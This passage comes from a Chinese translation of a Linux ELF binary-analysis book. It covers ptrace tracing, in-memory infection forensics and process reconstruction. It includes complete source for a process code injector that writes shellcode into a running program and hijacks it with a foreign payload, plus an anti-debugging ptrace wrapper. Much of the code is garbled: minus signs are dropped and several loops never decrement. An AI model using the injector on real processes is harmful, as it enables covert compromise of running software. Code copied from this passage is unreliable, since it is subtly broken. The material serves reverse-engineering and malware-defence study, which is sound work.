if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) {
  perror("PTRACE_POKETEXT");
  exit(-1);
}
// Begin tracing execution
trace:
if (ptrace(PTRACE_CONT, pid, NULL, NULL) < 0) {
  perror("PTRACE_CONT");
  exit(-1);
}
wait(&status);

/*
    * If we receive a SIGTRAP then we presumably hit a break
    * Point instruction. In which case we will print out the
    *current register state.
*/
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {
  if (ptrace(PTRACE_GETREGS, pid, NULL, &h.pt_reg) < 0) {
    perror("PTRACE_GETREGS");
    exit(-1);
  }
  printf("\nExecutable %s (pid: %d) has hit breakpoint 0x%lx\n", h.exec, pid, h.symaddr);
  printf("%%rcx: %llx\n%%rdx: %llx\n%%rbx: %llx\n"
  "%%rax: %llx\n%%rdi: %llx\n%%rsi: %llx\n"
  "%%r8: %llx\n%%r9: %llx\n%%r10: %llx\n"
  "%%r11: %llx\n%%r12 %llx\n%%r13 %llx\n"
  "%%r14: %llx\n%%r15: %llx\n%%rsp: %llx",
  h.pt_reg.rcx, h.pt_reg.rdx, h.pt_reg.rbx,
  h.pt_reg.rax, h.pt_reg.rdi, h.pt_reg.rsi,
  h.pt_reg.r8, h.pt_reg.r9, h.pt_reg.r10,
  h.pt_reg.r11, h.pt_reg.r12, h.pt_reg.r13,
  h.pt_reg.r14, h.pt_reg.r15, h.pt_reg.rsp);
  printf("\nPlease hit any key to continue: ");
  getchar();
  if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, orig) < 0) {
    perror("PTRACE_POKETEXT");
    exit(-1);
  }
  h.pt_reg.rip = h.pt_reg.rip 1;
  if (ptrace(PTRACE_SETREGS, pid, NULL, &h.pt_reg) < 0) {
    perror("PTRACE_SETREGS");
  exit(-1);
  }
  if (ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) < 0) {
    perror("PTRACE_SINGLESTEP");
    exit(-1);
  }
  wait(NULL);
  if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) {
    perror("PTRACE_POKETEXT");
    exit(-1);
  }
  goto trace;
}
if (WIFEXITED(status)){
  printf("Completed tracing pid: %d\n", pid);
  exit(0);
}

/* This function will lookup a symbol by name, specifically from
 * The .symtab section, and return the symbol value.
 */

Elf64_Addr lookup_symbol(handle_t *h, const char *symname)
{
  int i, j;
  char *strtab;
  Elf64_Sym *symtab;
  for (i = 0; i < h->ehdr->e_shnum; i++) {
    if (h->shdr[i].sh_type == SHT_SYMTAB) {
      strtab = (char *)
      &h->mem[h->shdr[h->shdr[i].sh_link].sh_offset];
      symtab = (Elf64_Sym *)
      &h->mem[h->shdr[i].sh_offset];
      for (j = 0; j < h>
      shdr[i].sh_size/sizeof(Elf64_Sym); j++) {
        if(strcmp(&strtab[symtab->st_name], symname) == 0)
        return (symtab->st_value);
        symtab++;
      }
    }
  }
  return 0;
}

/*
* This function will parse the cmdline proc entry to retrieve
* the executable name of the process.
*/
char * get_exe_name(int pid)
{
  char cmdline[255], path[512], *p;
  int fd;
  snprintf(cmdline, 255, "/proc/%d/cmdline", pid);
  if ((fd = open(cmdline, O_RDONLY)) < 0) {
    perror("open");
    exit(-1);
  }
  if (read(fd, path, 512) < 0) {
    perror("read");
    exit(-1);
  }
  if ((p = strdup(path)) == NULL) {
    perror("strdup");
    exit(-1);
  }
  return p;
}
void sighandler(int sig)
{
  printf("Caught SIGINT: Detaching from %d\n", global_pid);
  if (ptrace(PTRACE_DETACH, global_pid, NULL, NULL) < 0 && errno) {
    perror("PTRACE_DETACH");
    exit(-1);
  }
  exit(0);
}

使用./tracer(版本 2),我们现在可以附加到一个已经运行的进程,然后在所需的函数上设置一个断点,并跟踪执行。这是一个追踪一个程序的例子,该程序在循环中打印Hello 1字符串 20 次,使用print_string(char *s);

ryan@elfmaster:~$ ./tracer -p `pidof ./test2` -f print_string
Beginning analysis of pid: 7075 at 4005bd
Executable ./test2 (pid: 7075) has hit breakpoint 0x4005bd
%rcx: ffffffffffffffff
%rdx: 0
%rbx: 0
%rax: 0
%rdi: 4006a4
%rsi: 7fffe93670e0
%r8: 7fffe93671f0
%r9: 0
%r10: 8
%r11: 246
%r12 4004d0
%r13 7fffe93673b0
%r14: 0
%r15: 0
%rsp: 7fffe93672b8
Please hit any key to continue: c
Executable ./test2 (pid: 7075) has hit breakpoint 0x4005bd
%rcx: ffffffffffffffff
%rdx: 0
%rbx: 0
%rax: 0
%rdi: 4006a4
%rsi: 7fffe93670e0
%r8: 7fffe93671f0
%r9: 0
%r10: 8
%r11: 246
%r12 4004d0
%r13 7fffe93673b0
%r14: 0
%r15: 0
%rsp: 7fffe93672b8
^C
Caught SIGINT: Detaching from 7452

因此,我们已经完成了简单调试软件的编码,它既可以执行程序并跟踪它,也可以附加到现有进程并跟踪它。这展示了ptrace最常见的用例,你编写的大多数使用ptrace的程序都将是对tracer.c代码技术的变化。

高级函数跟踪软件

2013 年,我设计了一个跟踪函数调用的工具。它与straceltrace非常相似,但它跟踪的不是syscalls或库调用,而是跟踪可执行文件中的每个函数调用。这个工具在第二章中有介绍,ELF 二进制格式,但它与ptrace的主题非常相关。这是因为它完全依赖于ptrace,并使用控制流监视执行一些非常狂野的动态分析。源代码可以在 GitHub 上找到:

github.com/leviathansecurity/ftrace

ptrace 和取证分析

ptrace()命令是最常用于用户空间内存分析的系统调用。实际上,如果你正在设计运行在用户空间的取证软件,它访问其他进程的内存的唯一方式是通过ptrace系统调用,或者通过读取proc文件系统(当然,除非程序有某种显式的共享内存 IPC 设置)。

注意

一个可以附加到进程,然后作为ptrace读/写语义的替代方案open/lseek/read/write /proc/<pid>/mem

2011 年,我获得了 DARPA CFT(网络快速跟踪)计划的合同,设计了一个名为Linux VMA Monitor的东西。这个软件的目的是检测各种已知和未知的进程内存感染,如 rootkits 和内存驻留病毒。

它基本上使用特殊的启发式方法对每个进程地址空间执行自动智能内存取证分析,了解ELF执行。它可以发现异常或寄生体,如劫持函数和通用代码感染。该软件可以分析活动内存并作为主机入侵检测系统运行,或者对进程内存进行快照并对其进行分析。该软件还可以检测和清除磁盘上感染病毒的ELF二进制文件。

ptrace系统调用在软件中被大量使用,并展示了围绕ELF二进制和ELF运行时感染的许多有趣代码。我还没有发布源代码,因为我打算在发布之前提供一个更适合生产的版本。在本文中,我们将涵盖Linux VMA Monitor可以检测/清除的几乎所有感染类型,并讨论和演示用于识别这些感染的启发式方法。

十多年来,黑客一直在进程内存中隐藏复杂的恶意软件以保持隐蔽。这可能是共享库注入和 GOT 污染的组合,或者任何其他一组技术。系统管理员发现这些的机会非常渺茫,特别是因为公开可用于检测这些攻击的软件并不多。

我发布了几个工具,包括但不限于 AVU 和 ECFS,它们都可以在 GitHub 和我的网站bitlackeys.org/上找到。其他存在的用于此类事物的软件都是高度专业化并且私下使用,或者根本不存在。与此同时,一位优秀的取证分析师可以使用调试器或编写自定义软件来检测此类恶意软件,了解你要寻找的内容以及原因是很重要的。由于本章节主要讨论 ptrace,我想强调它与取证分析的相关性。尤其是对于那些对设计专门用于在内存中识别威胁的软件感兴趣的人。

在本章末尾,我们将看到如何编写程序来检测运行软件中的函数跳板。

在内存中寻找什么

ELF可执行文件在内存中几乎与磁盘上的相同,除了对数据段变量、全局偏移表、函数指针和未初始化变量(.bss部分)的更改。

这意味着在ELF二进制文件中使用的许多病毒或 rootkit 技术也可以应用于进程(运行时代码),因此对于攻击者来说更好地保持隐藏。我们将在整本书中深入讨论所有这些常见的感染向量,但以下是一些已被用于实现感染代码的技术列表:

感染技术 预期结果 驻留类型
GOT 感染 劫持共享库函数 进程内存或可执行文件
过程链接表PLT)感染 劫持共享库函数 进程内存或可执行文件
.ctors/.dtors函数指针修改 改变到恶意代码的控制流 进程内存或可执行文件
函数跳板 劫持任何函数 进程内存或可执行文件
共享库注入 插入恶意代码 进程内存或可执行文件
可重定位代码注入 插入恶意代码 进程内存或可执行文件
对文本段的直接修改 插入恶意代码 进程内存或可执行文件
进程占有(将整个程序注入地址空间) 在现有进程中隐藏运行完全不同的可执行程序 进程内存

使用ELF格式解析、/proc/<pid>/mapsptrace的组合,可以创建一组启发式方法来检测前述技术中的每一种,并创建一个反方法来清除所谓的寄生代码。我们将在整本书中深入探讨所有这些技术,主要是在第四章和第六章。

进程映像重构 – 从内存到可执行文件

测试我们对ELF格式和ptrace的能力的一个很好的练习是设计软件,可以将进程映像重构为可工作的可执行文件。这对于我们在系统上发现可疑程序运行的类型的取证工作特别有用。扩展核心文件快照ECFS)技术能够做到这一点,并将功能扩展到与传统 Linux 核心文件格式向后兼容的创新取证和调试格式。这在github.com/elfmaster/ecfs上可用,并在本书的第八章中有进一步的文档,ECFS – 扩展核心文件快照技术。Quenya 也具有这个功能,并可以在www.bitlackeys.org/projects/quenya_32bit.tgz上下载。

进程可执行文件重构的挑战

为了将进程重构为可执行文件,我们必须首先考虑所涉及的挑战,因为有很多事情需要考虑。有一种特定类型的变量是我们无法控制的,这些是初始化数据中的全局变量。它们可能在运行时已经改变为代码所规定的变量,我们无法知道它们在运行之前应该被初始化为什么。我们甚至可能无法通过静态代码分析找到这一点。

以下是可执行文件重构的目标:

  • 以进程 ID 作为参数,并将该进程映像重构为其可执行文件状态

  • 我们应该构建一个最小的段头表,以便程序可以通过objdumpgdb等工具进行更准确的分析

可执行文件重构的挑战

完整的可执行文件重构是可能的,但在重构动态链接的可执行文件时会带来一些挑战。在这里,我们将讨论主要的挑战是什么,以及每个挑战的一般解决方案是什么。

PLT/GOT 完整性

全局偏移表将填入相应共享库函数的解析值。当然,这是由动态链接器完成的,因此我们必须用原始的 PLT 存根地址替换这些地址。我们这样做是为了当共享库函数第一次被调用时,它们通过将 GOT 偏移推送到堆栈的 PLT 指令正确地触发动态链接器。参考本书的第二章中的ELF 和动态链接部分,ELF 二进制格式

以下图表演示了 GOT 条目如何被恢复:

PLT/GOT 完整性

添加一个段头表

请记住,程序的段头表在运行时不会加载到内存中。这是因为它不需要。在将进程图像重构回可执行文件时,添加段头表是可取的(尽管不是必需的)。完全可以添加原始可执行文件中的每个段头条目,但是一个优秀的ELF黑客至少可以生成基本内容。

因此,请尝试为以下部分创建一个段头:.interp.note.text.dynamic.got.plt.data.bss.shstrtab.dynsym.dynstr

注意

如果您正在重构的可执行文件是静态链接的,那么您将不会有.dynamic.got.plt.dynsym.dynstr部分。

进程的算法

让我们来看看可执行文件的重构:

  1. 定位可执行文件(文本段)的基地址。这可以通过解析/proc/<pid>/maps来完成:
[First line of output from /proc/<pid>/maps file for program 'evil']

00400000-401000 r-xp /home/ryan/evil

提示

使用ptracePTRACE_PEEKTEXT请求来读取整个文本段。您可以在前面的映射输出中看到文本段的地址范围(标记为r-xp)是0x4000000x401000,即 4096 字节。因此,这就是文本段的缓冲区大小。由于我们还没有涵盖如何使用PTRACE_PEEKTEXT一次读取超过一个长字大小的字,我编写了一个名为pid_read()的函数,演示了一个很好的方法。

[Source code for pid_read() function]
int pid_read(int pid, void *dst, const void *src, size_t len)
{
  int sz = len / sizeof(void *);
  unsigned char *s = (unsigned char *)src;
  unsigned char *d = (unsigned char *)dst;
  unsigned long word;
  while (sz!=0) {
    word = ptrace(PTRACE_PEEKTEXT, pid, (long *)s, NULL);
    if (word == 1)
    return 1;
    *(long *)d = word;
    s += sizeof(long);
    d += sizeof(long);
  }
  return 0;
}
  1. 解析ELF文件头(例如Elf64_Ehdr)以定位程序头表:
/* Where buffer is the buffer holding the text segment */
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)buffer;
Elf64_Phdr *phdr = (Elf64_Phdr *)&buffer[ehdr->e_phoff];
  1. 然后解析程序头表以找到数据段:
for (c = 0; c < ehdr>e_phnum; c++)
if (phdr[c].p_type == PT_LOAD && phdr[c].p_offset) {
  dataVaddr = phdr[c].p_vaddr;
  dataSize = phdr[c].p_memsz;
  break;
}
pid_read(pid, databuff, dataVaddr, dataSize);
  1. 将数据段读入缓冲区,并在其中定位动态段,然后定位 GOT。使用动态段中的d_tag来定位 GOT:

注意

我们在第二章的ELF 二进制格式部分讨论了动态段及其标记值。

Elf64_Dyn *dyn;
for (c = 0; c < ehdr->e_phnum; c++) {
  if (phdr[c].p_type == PT_DYNAMIC) {
    dyn = (Elf64_Dyn *)&databuff[phdr[c].p_vaddr – dataAddr];
    break;
  }
  if (dyn) {
    for (c = 0; dyn[c].d_tag != DT_NULL; c++) {
      switch(dyn[c].d_tag) {
        case DT_PLTGOT:
        gotAddr = dyn[i].d_un.d_ptr;
        break;
        case DT_STRTAB:
        /* Get .dynstr info */
        break;
        case DT_SYMTAB:
        /* Get .dynsym info */
        break;
      }
    }
  }
  1. 一旦找到 GOT,就必须将其恢复到运行时之前的状态。最重要的部分是恢复每个 GOT 条目中原始的 PLT 存根地址,以便懒惰链接在程序运行时起作用。参见第二章的ELF 动态链接部分,ELF 二进制格式
00000000004003e0 <puts@plt>:
4003e0: ff 25 32 0c 20 00 jmpq *0x200c32(%rip) # 601018 
4003e6: 68 00 00 00 00 pushq $0x0
4003eb: e9 e0 ff ff ff jmpq 4003d0 <_init+0x28>

  1. puts()保留的 GOT 条目应该被修补,指向将 GOT 偏移推送到堆栈的 PLT 存根代码。前面的命令中给出了这个地址0x4003e6。确定 GOT 到 PLT 条目关系的方法留给读者作为练习。

  2. 可选地重构一个段头表。然后将文本段和数据段(以及段头表)写入磁盘。

在 32 位测试环境上使用 Quenya 进行进程重构

一个名为dumpme的 32 位ELF可执行文件简单地打印You can Dump my segments!字符串,然后暂停,让我们有时间重构它。

现在,以下代码演示了 Quenya 将进程图像重构为可执行文件:

[Quenya v0.1@ELFWorkshop]
rebuild 2497 dumpme.out
[+] Beginning analysis for executable reconstruction of process image (pid: 2497)
[+] Getting Loadable segment info...
[+] Found loadable segments: text segment, data segment
Located PLT GOT Vaddr 0x804a000
Relevant GOT entries begin at 0x804a00c
[+] Resolved PLT: 0x8048336
PLT Entries: 5
Patch #1 [
0xb75f7040] changed to [0x8048346]
Patch #2 [
0xb75a7190] changed to [0x8048356]
Patch #3 [
0x8048366] changed to [0x8048366]
Patch #4 [
0xb755a990] changed to [0x8048376]
[+] Patched GOT with PLT stubs
Successfully rebuilt ELF object from memory
Output executable location: dumpme.out
[Quenya v0.1@ELFWorkshop]
quit

在这里,我们演示了输出可执行文件是否正确运行:

hacker@ELFWorkshop:~/
workshop/labs/exercise_9$ ./dumpme.out
You can Dump my segments!

Quenya 还为可执行文件创建了一个最小的段头表:

hacker@ELFWorkshop:~/
workshop/labs/exercise_9$ readelf -S
dumpme.out

这里显示了从偏移量0x1118开始的七个段头。

Quenya 在 32 位测试环境上进行进程重构

Quenya 中用于进程重构的源代码主要位于rebuild.c中,Quenya 可以从我的网站www.bitlackeys.org/下载。

使用 ptrace 进行代码注入

到目前为止,我们已经研究了一些有趣的ptrace用例,包括进程分析和进程镜像重建。ptrace的另一个常见用途是向运行中的进程引入新代码并执行它。攻击者通常这样做是为了修改运行中的程序,使其执行其他操作,比如将恶意共享库加载到进程地址空间中。

在 Linux 中,默认的ptrace()行为是允许你写入Using PTRACE_POKETEXT到不可写的段,比如文本段。这是因为预期调试器需要在代码中插入断点。这对于想要将代码插入内存并执行的黑客来说非常有用。为了演示这一点,我们编写了code_inject.c。它附加到一个进程并注入一个 shellcode,将创建一个足够大的匿名内存映射来容纳我们的 payload 可执行文件payload.c,然后将其注入到新的内存中并执行。

注意

在本章前面提到过,使用PaX打补丁的 Linux 内核将不允许ptrace()写入不可写的段。这是为了进一步执行内存保护限制。在论文《通过 GOT 污染进行 ELF 运行时感染》中,我已经讨论了通过使用ptrace操纵vsyscall表来绕过这些限制的方法。

现在,让我们看一个代码示例,我们在运行中的进程中注入一个 shellcode,加载一个外部可执行文件:

To compile: gcc code_inject.c o code_inject
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <sys/ptrace.h>
#include <sys/mman.h>
#define PAGE_ALIGN(x) (x & ~(PAGE_SIZE 1))
#define PAGE_ALIGN_UP(x) (PAGE_ALIGN(x) + PAGE_SIZE)
#define WORD_ALIGN(x) ((x + 7) & ~7)
#define BASE_ADDRESS 0x00100000
typedef struct handle {
  Elf64_Ehdr *ehdr;
  Elf64_Phdr *phdr;
  Elf64_Shdr *shdr;
  uint8_t *mem;
  pid_t pid;
  uint8_t *shellcode;
  char *exec_path;
  uint64_t base;
  uint64_t stack;
  uint64_t entry;
  struct user_regs_struct pt_reg;
} handle_t;

static inline volatile void *
evil_mmap(void *, uint64_t, uint64_t, uint64_t, int64_t, uint64_t)
__attribute__((aligned(8),__always_inline__));
uint64_t injection_code(void *) __attribute__((aligned(8)));
uint64_t get_text_base(pid_t);
int pid_write(int, void *, const void *, size_t);
uint8_t *create_fn_shellcode(void (*fn)(), size_t len);

void *f1 = injection_code;
void *f2 = get_text_base;

static inline volatile long evil_write(long fd, char *buf, unsigned long len)
{
  long ret;
  __asm__ volatile(
    "mov %0, %%rdi\n"
    "mov %1, %%rsi\n"
    "mov %2, %%rdx\n"
    "mov $1, %%rax\n"
    "syscall" : : "g"(fd), "g"(buf), "g"(len));
  asm("mov %%rax, %0" : "=r"(ret));
  return ret;
}

static inline volatile int evil_fstat(long fd, struct stat *buf)
{
  long ret;
  __asm__ volatile(
    "mov %0, %%rdi\n"
    "mov %1, %%rsi\n"
    "mov $5, %%rax\n"
    "syscall" : : "g"(fd), "g"(buf));
  asm("mov %%rax, %0" : "=r"(ret));
  return ret;
}

static inline volatile int evil_open(const char *path, unsigned long flags)
{
  long ret;
  __asm__ volatile(
    "mov %0, %%rdi\n"
    "mov %1, %%rsi\n"
    "mov $2, %%rax\n"
    "syscall" : : "g"(path), "g"(flags));
    asm ("mov %%rax, %0" : "=r"(ret));
  return ret;
}

static inline volatile void * evil_mmap(void *addr, uint64_t len, uint64_t prot, uint64_t flags, int64_t fd, uint64_t off)
{
  long mmap_fd = fd;
  unsigned long mmap_off = off;
  unsigned long mmap_flags = flags;
  unsigned long ret;
  __asm__ volatile(
    "mov %0, %%rdi\n"
    "mov %1, %%rsi\n"
    "mov %2, %%rdx\n"
    "mov %3, %%r10\n"
    "mov %4, %%r8\n"
    "mov %5, %%r9\n"
    "mov $9, %%rax\n"
    "syscall\n" : : "g"(addr), "g"(len), "g"(prot), "g"(flags),
    "g"(mmap_fd), "g"(mmap_off));
  asm ("mov %%rax, %0" : "=r"(ret));
  return (void *)ret;
}

uint64_t injection_code(void * vaddr)
{
  volatile void *mem;
  mem = evil_mmap(vaddr,8192,
  PROT_READ|PROT_WRITE|PROT_EXEC,
  MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,1,0);
  __asm__ __volatile__("int3");
}

#define MAX_PATH 512

uint64_t get_text_base(pid_t pid)
{
  char maps[MAX_PATH], line[256];
  char *start, *p;
  FILE *fd;
  int i;
  Elf64_Addr base;
  snprintf(maps, MAX_PATH 1,
  "/proc/%d/maps", pid);
  if ((fd = fopen(maps, "r")) == NULL) {
    fprintf(stderr, "Cannot open %s for reading: %s\n", maps, strerror(errno));
    return 1;
  }
  while (fgets(line, sizeof(line), fd)) {
    if (!strstr(line, "rxp"))
    continue;
    for (i = 0, start = alloca(32), p = line; *p != ''; i++, p++)
    start[i] = *p;

    start[i] = '\0';
    base = strtoul(start, NULL, 16);
    break;
  }
  fclose(fd);
  return base;
}

uint8_t * create_fn_shellcode(void (*fn)(), size_t len)
{
  size_t i;
  uint8_t *shellcode = (uint8_t *)malloc(len);
  uint8_t *p = (uint8_t *)fn;
  for (i = 0; i < len; i++)
  *(shellcode + i) = *p++;
  return shellcode;
}

int pid_read(int pid, void *dst, const void *src, size_t len)
{
  int sz = len / sizeof(void *);
  unsigned char *s = (unsigned char *)src;
  unsigned char *d = (unsigned char *)dst;
  long word;
  while (sz!=0) {
    word = ptrace(PTRACE_PEEKTEXT, pid, s, NULL);
    if (word == 1 && errno) {
      fprintf(stderr, "pid_read failed, pid: %d: %s\n", pid,strerror(errno));
      goto fail;
    }
    *(long *)d = word;
    s += sizeof(long);
    d += sizeof(long);
  }
  return 0;
  fail:
  perror("PTRACE_PEEKTEXT");
  return 1;
}

int pid_write(int pid, void *dest, const void *src, size_t len)
{
  size_t quot = len / sizeof(void *);
  unsigned char *s = (unsigned char *) src;
  unsigned char *d = (unsigned char *) dest;
  while (quot!= 0) {
    if ( ptrace(PTRACE_POKETEXT, pid, d, *(void **)s) == 1)
    goto out_error;
    s += sizeof(void *);
    d += sizeof(void *);
  }
  return 0;
  out_error:
  perror("PTRACE_POKETEXT");
  return 1;
}

int main(int argc, char **argv)
{
  handle_t h;
  unsigned long shellcode_size = f2 f1;
  int i, fd, status;
  uint8_t *executable, *origcode;
  struct stat st;
  Elf64_Ehdr *ehdr;
  if (argc < 3) {
    printf("Usage: %s <pid> <executable>\n", argv[0]);
    exit(1);
  }
  h.pid = atoi(argv[1]);
  h.exec_path = strdup(argv[2]);
  if (ptrace(PTRACE_ATTACH, h.pid) < 0) {
    perror("PTRACE_ATTACH");
    exit(1);
  }
  wait(NULL);
  h.base = get_text_base(h.pid);
  shellcode_size += 8;
  h.shellcode = create_fn_shellcode((void *)&injection_code, shellcode_size);
  origcode = alloca(shellcode_size);
  if (pid_read(h.pid, (void *)origcode, (void *)h.base, shellcode_size) < 0)
  exit(1);
  if (pid_write(h.pid, (void *)h.base, (void *)h.shellcode, shellcode_size) < 0)
  exit(1);
  if (ptrace(PTRACE_GETREGS, h.pid, NULL, &h.pt_reg) < 0) {
    perror("PTRACE_GETREGS");
    exit(1);
  }
  h.pt_reg.rip = h.base;
  h.pt_reg.rdi = BASE_ADDRESS;
  if (ptrace(PTRACE_SETREGS, h.pid, NULL, &h.pt_reg) < 0) {
    perror("PTRACE_SETREGS");
    exit(1);
  }
  if (ptrace(PTRACE_CONT, h.pid, NULL, NULL) < 0) {
    perror("PTRACE_CONT");
    exit(1);
  }
  wait(&status);
  if (WSTOPSIG(status) != SIGTRAP) {
    printf("Something went wrong\n");
    exit(1);
  }
  if (pid_write(h.pid, (void *)h.base, (void *)origcode, shellcode_size) < 0)
  exit(1);
  if ((fd = open(h.exec_path, O_RDONLY)) < 0) {
    perror("open");
    exit(1);
  }
  if (fstat(fd, &st) < 0) {
    perror("fstat");
    exit(1);
  }
  executable = malloc(WORD_ALIGN(st.st_size));
  if (read(fd, executable, st.st_size) < 0) {
    perror("read");
    exit(1);
  }
  ehdr = (Elf64_Ehdr *)executable;
  h.entry = ehdr->e_entry;
  close(fd);
  if (pid_write(h.pid, (void *)BASE_ADDRESS, (void *)executable, st.st_size) < 0)
  exit(1);
  if (ptrace(PTRACE_GETREGS, h.pid, NULL, &h.pt_reg) < 0) {
    perror("PTRACE_GETREGS");
    exit(1);
  }
  h.entry = BASE_ADDRESS + h.entry;
  h.pt_reg.rip = h.entry;
  if (ptrace(PTRACE_SETREGS, h.pid, NULL, &h.pt_reg) < 0) {
    perror("PTRACE_SETREGS");
    exit(1);
  }
  if (ptrace(PTRACE_DETACH, h.pid, NULL, NULL) < 0) {
    perror("PTRACE_CONT");
    exit(1);
  }
  wait(NULL);
  exit(0);
}

以下是payload.c的源代码。它是在不链接libc并且使用位置无关代码的情况下编译的:

To Compile: gcc -fpic -pie -nostdlib payload.c -o payload

long _write(long fd, char *buf, unsigned long len)
{
  long ret;
  __asm__ volatile(
    "mov %0, %%rdi\n"
    "mov %1, %%rsi\n"
    "mov %2, %%rdx\n"
    "mov $1, %%rax\n"
    "syscall" : : "g"(fd), "g"(buf), "g"(len));
  asm("mov %%rax, %0" : "=r"(ret));
  return ret;
}

void Exit(long status)
{
  __asm__ volatile("mov %0, %%rdi\n"
  "mov $60, %%rax\n"
  "syscall" : : "r"(status));
}

_start()
{
  _write(1, "I am the payload who has hijacked your process!\n", 48);
  Exit(0);
}

简单的例子并不总是那么琐碎

尽管我们的代码注入的源代码看起来并不是那么琐碎,但code_inject.c源代码是一个稍微简化的真实内存感染器。我这么说是因为它限制了注入位置无关代码,并且将 payload 可执行文件的文本和数据段加载到同一内存区域中。

如果 payload 程序引用了数据段中的任何变量,它们将无法工作,因此在真实场景中,两个段之间必须有适当的页面对齐。在我们的情况下,payload 程序非常基本,只是向终端的标准输出写入一个字符串。在真实场景中,攻击者通常希望保存原始指令指针和寄存器,然后在 shellcode 运行后恢复执行。在我们的情况下,我们只是让 shellcode 打印一个字符串,然后退出整个程序。

大多数黑客将共享库或可重定位代码注入到进程地址空间。将复杂的可执行文件注入到进程地址空间的想法是一种我以前没有见过的技术,除了我自己的实验和实现。

注意

elfdemon源代码中可以找到将完整的动态链接可执行文件(类型为ET_EXEC)注入到现有进程中而不覆盖主机程序的示例。这个任务有很多挑战,可以在我的一个实验项目中找到,链接如下:

www.bitlackeys.org/projects/elfdemon.tgz

演示 code_inject 工具

正如我们所看到的,我们的程序注入并执行了一个创建可执行内存映射的 shellcode,然后注入和执行了 payload 程序:

  1. 运行主机程序(你想要感染的程序):
ryan@elfmaster:~$ ./host &
[1] 29656
I am but a simple program, please don't infect me.

  1. 运行code_inject并告诉它将名为 payload 的程序注入到主机进程中:
ryan@elfmaster:~$ ./code_inject `pidof host` payload
I am the payload who has hijacked your process!
[1]+ Done ./host

你可能已经注意到code_inject.c中似乎没有传统的 shellcode(字节码)。这是因为uint64_t injection_code(void *)函数就是我们的 shellcode。由于它已经编译成机器指令,我们只需计算其长度并将其地址传递给pid_write(),以便将其注入到进程中。在我看来,这比包含字节码数组的常见方法更加优雅。

一个 ptrace 反调试技巧

ptrace命令可以用作反调试技术。通常,当黑客不希望他们的程序容易被调试时,他们会包含某些反调试技术。在 Linux 中,一种流行的方法是使用ptracePTRACE_TRACEME请求,以便跟踪自身的进程。

请记住,一个进程一次只能有一个跟踪器,因此如果一个进程已经被跟踪,并且调试器尝试使用ptrace附加,它会显示Operation not permittedPTRACE_TRACEME也可以用来检查您的程序是否已经被调试。您可以使用下一节中的代码来检查这一点。

你的程序正在被跟踪吗?

ptrace to find out whether your program is already being traced:
if (ptrace(PTRACE_TRACEME, 0) < 0) {
printf("This process is being debugged!!!\n");
exit(1);
}

前面的代码之所以有效,是因为只有在程序已经被跟踪的情况下才会失败。因此,如果ptrace使用PTRACE_TRACEME返回一个错误值(小于0),你可以确定存在调试器,然后退出程序。

注意

如果没有调试器存在,那么PTRACE_TRACEME将成功,现在程序正在跟踪自身,任何调试器对程序的跟踪尝试都将失败。因此,这是一个不错的反调试措施。

如第一章所示,Linux 环境及其工具LD_PRELOAD环境变量可以用来绕过这种反调试措施,通过欺骗程序加载一个什么都不做只返回0的假ptrace命令,因此不会对调试器产生任何影响。相反,如果一个程序使用ptrace反调试技巧而不使用libc ptrace包装器,并且创建自己的包装器,那么LD_PRELOAD技巧将不起作用。这是因为程序不依赖任何库来访问ptrace

这是一个使用自己的包装器来使用ptrace的替代方法。在本例中,我们将使用x86_64 ptrace包装器。

#define SYS_PTRACE 101
long my_ptrace(long request, long pid, void *addr, void *data)
{
   long ret;
    __asm__ volatile(
    "mov %0, %%rdi\n"
    "mov %1, %%rsi\n"
    "mov %2, %%rdx\n"
    "mov %3, %%r10\n"
    "mov $SYS_PTRACE, %%rax\n"
    "syscall" : : "g"(request), "g"(pid),
    "g"(addr), "g"(data));
    __asm__ volatile("mov %%rax, %0" : "=r"(ret));
    return ret;
}

总结

在本章中,您了解了ptrace系统调用的重要性以及它如何与病毒和内存感染结合使用。另一方面,它是安全研究人员、逆向工程和高级热修补技术的强大工具。

ptrace系统调用将在本书的其余部分定期使用。让本章只作为一个入门。

在下一章中,我们将介绍 Linux ELF 病毒感染的激动人心的世界以及病毒创建背后的工程实践。

第四章:ELF 病毒技术- Linux/Unix 病毒

病毒编写的艺术已经存在了几十年。事实上,它可以追溯到 1981 年通过软盘视频游戏成功在野外发布的 Elk Cloner 苹果病毒。自 80 年代中期到 90 年代,有各种秘密团体和黑客利用他们的神秘知识设计、发布和发表病毒在病毒和黑客电子杂志中(见vxheaven.org/lib/static/vdat/ezines1.htm)。

病毒编写的艺术通常会给黑客和地下技术爱好者带来很大的启发,不是因为它们能够造成的破坏,而是因为设计它们和需要成功编程的非常规编码技术所带来的挑战,这些病毒可以通过隐藏在其他可执行文件和进程中保持其驻留的寄生虫。此外,保持寄生虫隐蔽的技术和解决方案,如多态和变形代码,对程序员来说是一种独特的挑战。

UNIX 病毒自 90 年代初就存在了,但我认为许多人会同意说 UNIX 病毒的真正创始人是 Silvio Cesare (vxheaven.org/lib/vsc02.html),他在 90 年代末发表了许多关于 ELF 病毒感染方法的论文。这些方法在今天仍在以不同的变体使用。

Silvio 是第一个发布一些令人惊叹的技术的人,比如 PLT/GOT 重定向,文本段填充感染,数据段感染,可重定位代码注入,/dev/kmem修补和内核函数劫持。不仅如此,他个人在我接触 ELF 二进制黑客技术方面起到了很大的作用,我会永远感激他的影响。

在本章中,我们将讨论为什么重要理解 ELF 病毒技术以及如何设计它们。ELF 病毒背后的技术可以用于除了编写病毒之外的许多其他事情,比如一般的二进制修补和热修补,这可以在安全、软件工程和逆向工程中使用。为了逆向工程一个病毒,了解其中许多病毒是如何工作的对你是有好处的。值得注意的是,我最近逆向工程并为一个名为Retaliation的独特和杰出的 ELF 病毒编写了一个概要。这项工作可以在www.bitlackeys.org/#retaliation找到。

ELF 病毒技术

